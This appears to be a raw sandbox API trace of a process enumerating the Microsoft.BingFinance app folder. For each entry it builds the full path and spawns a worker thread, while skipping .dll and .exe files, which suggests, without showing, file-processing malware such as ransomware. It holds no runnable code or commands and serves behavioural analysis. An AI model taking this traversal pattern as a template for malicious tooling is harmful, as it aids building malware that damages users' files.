	[0077.736] wcscpy (in: _Dest=0x477d388, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.736] wcscat (in: _Dest=0x477d388, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.736] wcscat (in: _Dest=0x477d388, _Source="AppConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml"
	[0077.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc
	[0077.737] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7746cb84, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7746cb84, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7e84, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0077.737] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0077.737] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0077.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47cabd0
	[0077.737] wcscpy (in: _Dest=0x47cabd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.737] wcscat (in: _Dest=0x47cabd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.737] wcscat (in: _Dest=0x47cabd0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cabd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0077.737] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7746cb84, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7746cb84, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2072, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.737] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.737] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47caf10
	[0077.738] wcscpy (in: _Dest=0x47caf10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.738] wcscat (in: _Dest=0x47caf10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.738] wcscat (in: _Dest=0x47caf10, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47caf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0077.738] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa098c51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.738] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.738] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476bbe0
	[0077.738] wcscpy (in: _Dest=0x476bbe0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.738] wcscat (in: _Dest=0x476bbe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.738] wcscat (in: _Dest=0x476bbe0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0077.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476bbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0077.739] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.739] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.739] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47caa30
	[0077.739] wcscpy (in: _Dest=0x47caa30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.739] wcscat (in: _Dest=0x47caa30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.740] wcscat (in: _Dest=0x47caa30, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47caa30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0077.741] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0991e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.741] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.741] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddbbb0
	[0077.741] wcscpy (in: _Dest=0x2ddbbb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.741] wcscat (in: _Dest=0x2ddbbb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.741] wcscat (in: _Dest=0x2ddbbb0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0077.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0077.742] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.742] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.742] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.742] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa1412e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0077.742] wcscmp (_String1="Configuration", _String2=".") returned 1
	[0077.742] wcscmp (_String1="Configuration", _String2="..") returned 1
	[0077.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476c220
	[0077.742] wcscpy (in: _Dest=0x476c220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.743] wcscat (in: _Dest=0x476c220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.743] wcscat (in: _Dest=0x476c220, _Source="Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0077.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0077.743] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsonResources", cAlternateFileName="JSONRE~1")) returned 1
	[0077.743] wcscmp (_String1="JsonResources", _String2=".") returned 1
	[0077.743] wcscmp (_String1="JsonResources", _String2="..") returned 1
	[0077.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476c9f0
	[0077.744] wcscpy (in: _Dest=0x476c9f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.744] wcscat (in: _Dest=0x476c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.744] wcscat (in: _Dest=0x476c9f0, _Source="JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0077.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0077.745] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x211d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.745] wcscmp (_String1="MarketConfiguration.xml", _String2=".") returned 1
	[0077.745] wcscmp (_String1="MarketConfiguration.xml", _String2="..") returned 1
	[0077.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477c458
	[0077.745] wcscpy (in: _Dest=0x477c458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.745] wcscat (in: _Dest=0x477c458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.745] wcscat (in: _Dest=0x477c458, _Source="MarketConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml"
	[0077.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0077.746] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776cf25e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20c37f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0077.746] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0077.746] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0077.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c530
	[0077.746] wcscpy (in: _Dest=0x477c530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.746] wcscat (in: _Dest=0x477c530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.746] wcscat (in: _Dest=0x477c530, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0077.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0077.747] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0077.747] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0077.747] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0077.747] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776cf25e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x776cf25e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0077.747] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0077.747] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0077.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f990
	[0077.747] wcscpy (in: _Dest=0x477f990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.747] wcscat (in: _Dest=0x477f990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.747] wcscat (in: _Dest=0x477f990, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0077.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0077.748] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x776f534b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7771b5a1, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.dll", cAlternateFileName="")) returned 1
	[0077.748] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2=".") returned 1
	[0077.748] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2="..") returned 1
	[0077.748] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7774199d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7774199d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7774199d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.winmd", cAlternateFileName="")) returned 1
	[0077.748] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2=".") returned 1
	[0077.748] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2="..") returned 1
	[0077.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752168
	[0077.748] wcscpy (in: _Dest=0x4752168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.748] wcscat (in: _Dest=0x4752168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.748] wcscat (in: _Dest=0x4752168, _Source="Microsoft.Aria.ClientTelemetry.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd"
	[0077.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0077.749] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7774199d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7774199d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xbda000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Money.dll", cAlternateFileName="")) returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Money.dll", _String2=".") returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Money.dll", _String2="..") returned 1
	[0077.749] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77b93d5c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Money.exe", cAlternateFileName="")) returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Money.exe", _String2=".") returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Money.exe", _String2="..") returned 1
